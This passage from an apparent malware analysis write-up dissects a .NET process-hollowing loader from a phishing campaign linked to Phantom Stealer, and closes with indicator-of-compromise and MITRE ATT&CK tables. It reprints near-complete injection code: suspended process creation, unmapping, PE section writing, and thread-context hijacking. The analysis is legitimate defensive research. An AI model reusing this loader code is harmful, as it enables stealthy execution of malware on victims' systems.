private delegate bool _CreateProcessA32(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUP_32 lpStartupInfo, ref PROCESS_32 lpProcessInformation);

private delegate int _VirtualAllocEx32(IntPtr hProcess, int lpAddress, int dwSize, int flAllocationType, int flProtect);

private delegate bool _WriteProcessMemory32(IntPtr hProcess, int lpBaseAddress, byte[] lpBuffer, int nSize, ref int lpNumberOfBytesWritten);

private delegate bool _ReadProcessMemory32(IntPtr hProcess, int lpBaseAddress, ref int lpBuffer, int nSize, ref int lpNumberOfBytesRead);

private delegate int _ZwUnmapViewOfSection32(IntPtr hProcess, int lpBaseAddress);

private delegate bool _GetThreadContext32(IntPtr hThread, int[] lpContext);

private delegate bool _Wow64GetThreadContext32(IntPtr hThread, int[] lpContext);

private delegate bool _SetThreadContext32(IntPtr hThread, int[] lpContext);

private delegate bool _Wow64SetThreadContext32(IntPtr hThread, int[] lpContext);

private delegate int _ResumeThread32(IntPtr hThread);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, it defines an array containing two hex-encoded library names which are decoded
using the &lt;code&gt;HexDecode&lt;/code&gt; helper function and correspond to “kernel32” and “ntdll”.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;private static readonly string[] _libNames = new string[2] {
    HexDecode(&quot;6b65726e656c3332&quot;),
    HexDecode(&quot;6e74646c6c&quot;)
};

private static string HexDecode(string hex) {
    byte[] array = new byte[hex.Length / 2];
    for (int i = 0; i &amp;lt; array.Length; i++) {
        array[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
    }
    return Encoding.UTF8.GetString(array);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, it imports the &lt;code&gt;LoadLibraryA&lt;/code&gt; and &lt;code&gt;GetProcAddress&lt;/code&gt; functions from “kernel32”.
These are used by the generic &lt;code&gt;GetProc&lt;/code&gt; function to retrieve the pointers of
delegated functions and load them using the &lt;code&gt;Marshal.GetDelegateForFunctionPointer&lt;/code&gt;
method of the .NET framework.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;[DllImport(&quot;kernel32&quot;, SetLastError = true)]
private static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.LPStr)] string lpFileName);

[DllImport(&quot;kernel32&quot;, SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, [MarshalAs(UnmanagedType.LPStr)] string lpProcName);

private static T GetProc&amp;lt;T&amp;gt;(string library, string function) where T : notnull, Delegate {
    IntPtr intPtr = LoadLibraryA(library);
    if (!(intPtr == IntPtr.Zero)) {
        IntPtr procAddress = GetProcAddress(intPtr, function);
        if (procAddress == IntPtr.Zero) {
            throw new Win32Exception();
        }
        return Marshal.GetDelegateForFunctionPointer&amp;lt;T&amp;gt;(procAddress);
    }
    throw new Win32Exception();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For brevity, I will only analyse the &lt;code&gt;Map32&lt;/code&gt; function and skip the similar &lt;code&gt;Map64&lt;/code&gt; function.
The &lt;code&gt;Map32&lt;/code&gt; function implements the 32-bit process hollowing logic. It attempts the injection
up to a certain number of times (55 by default), sleeping for 50 milliseconds on each failure.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;public static void Map32(byte[] payload, string host, string args = null, int maxTries = 55) {
    for (int i = 0; i &amp;lt; maxTries; i++) {
        try {
            // see below
        } catch {
            if (i == maxTries - 1) {
                throw;
            }
            Thread.Sleep(50);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It loads the native Windows API functions needed for 32-bit process hollowing from their
delegates, builds the target application path from the given &lt;code&gt;host&lt;/code&gt; parameter, corresponding
to a .NET framework host binary in “C:\Windows\Microsoft.NET\Framework\v4.0.30319”,
and initialises the &lt;code&gt;STARTUPINFOA&lt;/code&gt; AND &lt;code&gt;PROCESS_INFORMATION&lt;/code&gt; structures.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;_CreateProcessA32 proc = GetProc&amp;lt;_CreateProcessA32&amp;gt;(_libNames[0], &quot;CreateProcessA&quot;);
_VirtualAllocEx32 proc2 = GetProc&amp;lt;_VirtualAllocEx32&amp;gt;(_libNames[0], &quot;VirtualAllocEx&quot;);
_WriteProcessMemory32 proc3 = GetProc&amp;lt;_WriteProcessMemory32&amp;gt;(_libNames[0], &quot;WriteProcessMemory&quot;);
_ReadProcessMemory32 proc4 = GetProc&amp;lt;_ReadProcessMemory32&amp;gt;(_libNames[0], &quot;ReadProcessMemory&quot;);
_ZwUnmapViewOfSection32 proc5 = GetProc&amp;lt;_ZwUnmapViewOfSection32&amp;gt;(_libNames[1], &quot;ZwUnmapViewOfSection&quot;);
_GetThreadContext32 proc6 = GetProc&amp;lt;_GetThreadContext32&amp;gt;(_libNames[0], &quot;GetThreadContext&quot;);
_Wow64GetThreadContext32 proc7 = GetProc&amp;lt;_Wow64GetThreadContext32&amp;gt;(_libNames[0], &quot;Wow64GetThreadContext&quot;);
_SetThreadContext32 proc8 = GetProc&amp;lt;_SetThreadContext32&amp;gt;(_libNames[0], &quot;SetThreadContext&quot;);
_Wow64SetThreadContext32 proc9 = GetProc&amp;lt;_Wow64SetThreadContext32&amp;gt;(_libNames[0], &quot;Wow64SetThreadContext&quot;);
_ResumeThread32 proc10 = GetProc&amp;lt;_ResumeThread32&amp;gt;(_libNames[0], &quot;ResumeThread&quot;);
string lpApplicationName = &quot;C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\&quot; + host + &quot;.exe&quot;;
STARTUP_32 lpStartupInfo = new STARTUP_32 {
    cb = (uint)Marshal.SizeOf&amp;lt;STARTUP_32&amp;gt;()
};
PROCESS_32 lpProcessInformation = default(PROCESS_32);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, it creates the target host process using &lt;code&gt;CreateProcessA&lt;/code&gt;, throwing an error
if the process creation failed. If the process was created successfully but the
process hollowing part failed, the process is killed via “taskkill”. The process
is created with the flag &lt;code&gt;2147483652u&lt;/code&gt;, i.e. &lt;code&gt;0x00000004 | 0x80000000&lt;/code&gt;. The value
&lt;code&gt;0x00000004&lt;/code&gt; corresponds to &lt;code&gt;CREATE_SUSPENDED&lt;/code&gt; but &lt;code&gt;0x80000000&lt;/code&gt; does not correspond to
any flag or combination of flags, so only &lt;code&gt;CREATE_SUSPENDED&lt;/code&gt; is applied. The unknown
value is most likely a typo for &lt;code&gt;0x08000000&lt;/code&gt; which corresponds to &lt;code&gt;CREATE_NO_WINDOW&lt;/code&gt;&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CREATE_SUSPENDED&lt;/code&gt;: The main thread of the process is created in a suspended state.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CREATE_NO_WINDOW&lt;/code&gt;: The process is a console application that runs without a window.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;if (proc(lpApplicationName, string.Empty, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, 2147483652u, IntPtr.Zero, null, ref lpStartupInfo, ref lpProcessInformation)) {
    try {
        // see below
    } catch {
        try {
            Process.Start(new ProcessStartInfo {
                FileName = &quot;taskkill&quot;,
                Arguments = $&quot;/PID {lpProcessInformation.dwProcessId} /F&quot;,
                CreateNoWindow = true,
                UseShellExecute = false
            })?.WaitForExit();
        } catch { }
        throw;
    }
}
throw new Exception(&quot;CreateProcess failed&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, it extracts an integer from the payload at offset 60 (&lt;code&gt;e_lfanew&lt;/code&gt;)&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;, which points
to the start of the PE header in the PE file format and reads another integer from
the PE header at offset &lt;code&gt;80&lt;/code&gt;, which corresponds to &lt;code&gt;SizeOfImage&lt;/code&gt;&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;, the total
size the image occupies in memory once loaded. &lt;em&gt;Note that normally the offset used
here would be &lt;code&gt;52&lt;/code&gt; which corresponds to &lt;code&gt;ImageBase&lt;/code&gt;, the preferred base address of
the image when loaded in memory.&lt;/em&gt; It then initializes an integer array of size 179
(716 bytes), matching the size of an x86 &lt;code&gt;CONTEXT&lt;/code&gt;&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; or &lt;code&gt;WOW64_CONTEXT&lt;/code&gt;&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt; structure.
The first element is set to &lt;code&gt;65563&lt;/code&gt; which, in an x86 thread context, corresponds to
&lt;code&gt;CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS&lt;/code&gt;&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;,
retrieving control registers, integer registers, floating-point state, and debug registers.
The thread context is stored in the array using &lt;code&gt;Wow64GetThreadContext&lt;/code&gt; when running on a
64-bit system, or &lt;code&gt;GetThreadContext&lt;/code&gt; on a 32-bit system (where the integer size is 4 bytes).&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;int num = BitConverter.ToInt32(payload, 60);
int num2 = BitConverter.ToInt32(payload, num + 80);
int[] array = new int[179];
array[0] = 65563;
if (!((IntPtr.Size != 4) ? proc7(lpProcessInformation.hThread, array) : proc6(lpProcessInformation.hThread, array))) {
    throw new Exception(&quot;GetThreadContext failed&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, it retrieves the element at index 41 from the array, which corresponds to
the &lt;code&gt;Ebx&lt;/code&gt; field of the context structure when it is marshalled into an integer
array. The EBX register points to the Process Environment Block (PEB) structure.
The &lt;code&gt;ReadProcessMemory&lt;/code&gt; function is used to extract an integer at offset &lt;code&gt;8&lt;/code&gt;
(&lt;code&gt;ImageBaseAddress&lt;/code&gt;&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#7&quot;&gt;7&lt;/a&gt;&lt;/sup&gt;) of the PEB from the memory of the suspended process.
Next, if this address matches the &lt;code&gt;SizeOfImage&lt;/code&gt; that was retrieved earlier,
it calls the &lt;code&gt;ZwUnmapViewOfSection&lt;/code&gt; function unmap the original image.
&lt;em&gt;Note that this check should be using &lt;code&gt;ImageBase&lt;/code&gt; rather than &lt;code&gt;SizeOfImage&lt;/code&gt;
and may leave the original image still mapped in memory.&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;int num3 = array[41];
int lpBuffer = 0;
int lpNumberOfBytesRead = 0;
if (!proc4(lpProcessInformation.hProcess, num3 + 8, ref lpBuffer, 4, ref lpNumberOfBytesRead)) {
    throw new Exception(&quot;ReadProcessMemory failed&quot;);
}
if (num2 == lpBuffer &amp;amp;&amp;amp; proc5(lpProcessInformation.hProcess, lpBuffer) != 0) {
    throw new Exception(&quot;ZwUnmapViewOfSection failed&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, it extracts the integer &lt;code&gt;SizeOfHeaders&lt;/code&gt; from offset &lt;code&gt;84&lt;/code&gt; of the optional
header, the total size of all file headers rounded up to account for file alignment.
It uses the &lt;code&gt;VirtualAllocEx&lt;/code&gt; function to allocate memory of size &lt;code&gt;SizeOfImage&lt;/code&gt;
in the target process at the address of &lt;code&gt;SizeOfImage&lt;/code&gt; &lt;em&gt;(which normally would
have been &lt;code&gt;ImageBase&lt;/code&gt;)&lt;/em&gt;, with allocation flag &lt;code&gt;12288&lt;/code&gt; which corresponds to
&lt;code&gt;MEM_COMMIT | MEM_RESERVE&lt;/code&gt;&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#8&quot;&gt;8&lt;/a&gt;&lt;/sup&gt;, thus committing and reserving memory pages in one step,
and protection flag &lt;code&gt;64&lt;/code&gt; which corresponds to &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt;&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#9&quot;&gt;9&lt;/a&gt;&lt;/sup&gt; and enables
read, write, and execute permissions in the memory region. Also, it uses the
&lt;code&gt;WriteProcessMemory&lt;/code&gt; function to write bytes of size &lt;code&gt;SizeOfHeaders&lt;/code&gt;
(i.e., the PE headers) from the payload into the allocated memory region.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;int nSize = BitConverter.ToInt32(payload, num + 84);
int num4 = proc2(lpProcessInformation.hProcess, num2, num2, 12288, 64);
if (num4 == 0) {
    throw new Exception(&quot;VirtualAllocEx failed&quot;);
}
int lpNumberOfBytesWritten = 0;
if (!proc3(lpProcessInformation.hProcess, num4, payload, nSize, ref lpNumberOfBytesWritten)) {
    throw new Exception(&quot;WriteProcessMemory (headers) failed&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, it locates the first section header at offset &lt;code&gt;248&lt;/code&gt; of the PE header
and reads the total number of sections from offset &lt;code&gt;6&lt;/code&gt; of the PE header.
It loops over each section of &lt;code&gt;40&lt;/code&gt; bytes, reading the following section fields&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#10&quot;&gt;10&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;VirtualAddress&lt;/code&gt; (offset &lt;code&gt;12&lt;/code&gt;): The memory address of the first byte relative to the image base.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SizeOfRawData&lt;/code&gt; (offset &lt;code&gt;16&lt;/code&gt;): The total size of the raw data in bytes.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PointerToRawData&lt;/code&gt; (offset &lt;code&gt;20&lt;/code&gt;): The byte offset to the start of the raw data.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If the section is not empty, its data is copied from the payload and written into
the allocated memory of the target process at its corresponding virtual address
using the &lt;code&gt;WriteProcessMemory&lt;/code&gt; function. After the section loop ends, the
&lt;code&gt;WriteProcessMemory&lt;/code&gt; function is called once more to overwrite the PEB of the
target process so its &lt;code&gt;ImageBaseAddress&lt;/code&gt; reflects the new image address.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;int num5 = num + 248;
short num6 = BitConverter.ToInt16(payload, num + 6);
for (int j = 0; j &amp;lt; num6; j++) {
    int num7 = num5 + j * 40;
    int num8 = BitConverter.ToInt32(payload, num7 + 12);
    int num9 = BitConverter.ToInt32(payload, num7 + 16);
    int sourceIndex = BitConverter.ToInt32(payload, num7 + 20);
    if (num9 &amp;gt; 0) {
        byte[] array2 = new byte[num9];
        Array.Copy(payload, sourceIndex, array2, 0, num9);
        if (!proc3(lpProcessInformation.hProcess, num4 + num8, array2, num9, ref lpNumberOfBytesWritten)) {
            throw new Exception($&quot;WriteProcessMemory (section {j}) failed&quot;);
        }
    }
}
if (!proc3(lpBuffer: BitConverter.GetBytes(num4), hProcess: lpProcessInformation.hProcess, lpBaseAddress: num3 + 8, nSize: 4, lpNumberOfBytesWritten: ref lpNumberOfBytesWritten)) {
    throw new Exception(&quot;WriteProcessMemory (PEB) failed&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, it sets the element at index 44 of the array, which corresponds to the
&lt;code&gt;Eax&lt;/code&gt; field (Extended Accumulator register) of the marshalled context structure,
to the address of the entry point (&lt;code&gt;AddressOfEntryPoint&lt;/code&gt; at offset &lt;code&gt;40&lt;/code&gt; of the
PE header) within the memory region allocated earlier by &lt;code&gt;VirtualAllocEx&lt;/code&gt;.
Depending on the target system, it calls &lt;code&gt;Wow64SetThreadContext&lt;/code&gt; or &lt;code&gt;SetThreadContext&lt;/code&gt;
to commit the updated context to the suspended thread. Finally, it calls &lt;code&gt;ResumeThread&lt;/code&gt;
to wake the suspended thread, which will now begin execution at the injected payload’s
entry point. If the call succeeds it exits the loop, otherwise it throws an exception.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c_sharp&quot;&gt;array[44] = num4 + BitConverter.ToInt32(payload, num + 40);
if (!((IntPtr.Size != 4) ? proc9(lpProcessInformation.hThread, array) : proc8(lpProcessInformation.hThread, array))) {
    throw new Exception(&quot;SetThreadContext failed&quot;);
}
if (proc10(lpProcessInformation.hThread) != -1) {
    break;
}
throw new Exception(&quot;ResumeThread failed&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Unidentified Final Stage&lt;/h3&gt;
&lt;p&gt;Unfortunately, I cannot analyse the final stage since the file was taken down shortly after I received the email,
as indicated by the takedown times of two similar URLs reported on &lt;a href=&quot;https://urlhaus.abuse.ch/browse.php?search=mypanel.vip&quot;&gt;URLhaus&lt;/a&gt;.
Both URLs are tagged as “Phantom Stealer” so in all likelihood the sample I received is also of the same family.&lt;/p&gt;
&lt;h2&gt;Indicators of Compromise&lt;/h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;Type&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Value&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Links&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Comment&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Email&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;abm@abmshipsupply.com&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;N/A&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Sender address&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Domain&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;abmshipsupply.com&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://mxtoolbox.com/emailhealth/abmshipsupply.com/&quot;&gt;MXToolBox&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://www.virustotal.com/gui/domain/abmshipsupply.com&quot;&gt;VirusTotal&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Sender domain&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;IP&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;158.94.208.218&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.abuseipdb.com/check/158.94.208.218&quot;&gt;AbuseIPDB&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Sender IP&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Hash&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;0b05ceeae3be9bb1b83bb079e4a58421&lt;wbr&gt;32f472d24ebdd4fa8daeb8b31b65a615&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/0b05ceeae3be9bb1b83bb079e4a5842132f472d24ebdd4fa8daeb8b31b65a615&quot;&gt;VirusTotal&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://any.run/report/0b05ceeae3be9bb1b83bb079e4a5842132f472d24ebdd4fa8daeb8b31b65a615/e45a3832-c6d0-41e7-8a89-0f9d53185516&quot;&gt;ANY.RUN&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Abm 2026 H1 G�ncel Fiyat Listesi .r07&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Hash&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;cd7219d7aa99db6647c5519d24e8cdd3&lt;wbr&gt;5e67e39e1f2e55f1099130593dee66f4&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/cd7219d7aa99db6647c5519d24e8cdd35e67e39e1f2e55f1099130593dee66f4&quot;&gt;VirusTotal&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Abm 2026 H1 Güncel Fiyat Listesi .exe&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Hash&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;42753d1bc479c0f14d8f98ca77a5b15a&lt;wbr&gt;98ca95b4750184c0525e7ff8ee866dc9&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/42753d1bc479c0f14d8f98ca77a5b15a98ca95b4750184c0525e7ff8ee866dc9&quot;&gt;VirusTotal&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;URT.bat&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Hash&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;73ffb8eaeeeefa545096ae9d2080afb4&lt;wbr&gt;40868e8a1b83c1842dc0419ba0918fef&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/73ffb8eaeeeefa545096ae9d2080afb440868e8a1b83c1842dc0419ba0918fef&quot;&gt;VirusTotal&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;PowerShell Downloader&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Hash&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;99446a0be47d814a344b5c88c5559d59&lt;wbr&gt;a63d0ba4ce249ae7797b0c45482d3267&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/99446a0be47d814a344b5c88c5559d59a63d0ba4ce249ae7797b0c45482d3267&quot;&gt;VirusTotal&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://tria.ge/260628-qn57wahv8w&quot;&gt;Triage&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;myprogram.exe&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;URL&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;https://hasteb.in/ii5PfCz83aTcDgK&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/url/0d001d25d1ca4244056fab238456579124608f7f0bcd289809a1e44ae096a238&quot;&gt;VirusTotal&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Stage 4 Download&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;URL&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;https://pastefy.app/eKkAgMVM/raw&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/url/ddeb5815dc6f9f8f36351b5f361322607525be20c19da97857afa6bae587fd0a&quot;&gt;VirusTotal&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Stage 4 Download&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;URL&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;https://mypanel.vip/a9a4wp/podroad.txt&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/url/6736f3fb19d28c6f6f5209b75d3aea50f554abbe65f6313b87c7e72fb6b13f71&quot;&gt;VirusTotal&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Stage 5 Download&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;MITRE ATT&amp;amp;CK® Techniques&lt;/h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;Tactic&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Technique&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Initial Access&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1566/001/&quot;&gt;T1566.001 - Phishing: Spearphishing Attachment&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Execution&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1204/002/&quot;&gt;T1204.002 - User Execution: Malicious File&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Execution&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1059/003/&quot;&gt;T1059.003 - Command and Scripting Interpreter: Windows Command Shell&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Execution&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1059/001/&quot;&gt;T1059.001 - Command and Scripting Interpreter: PowerShell&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Execution&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1106/&quot;&gt;T1106 - Native API&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Persistence&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1547/001/&quot;&gt;T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Stealth&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1564/003/&quot;&gt;T1564.003 - Hide Artifacts: Hidden Window&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Stealth&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1027/009/&quot;&gt;T1027.009 - Obfuscated Files or Information: Embedded Payloads&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Stealth&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1027/016/&quot;&gt;T1027.016 - Obfuscated Files or Information: Junk Code Insertion&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Stealth&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1027/010/&quot;&gt;T1027.010 - Obfuscated Files or Information: Command Obfuscation&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Stealth&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1140/&quot;&gt;T1140 - Deobfuscate/Decode Files or Information&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Stealth&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1620/&quot;&gt;T1620 - Reflective Code Loading&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Stealth&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1622/&quot;&gt;T1622 - Debugger Evasion&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
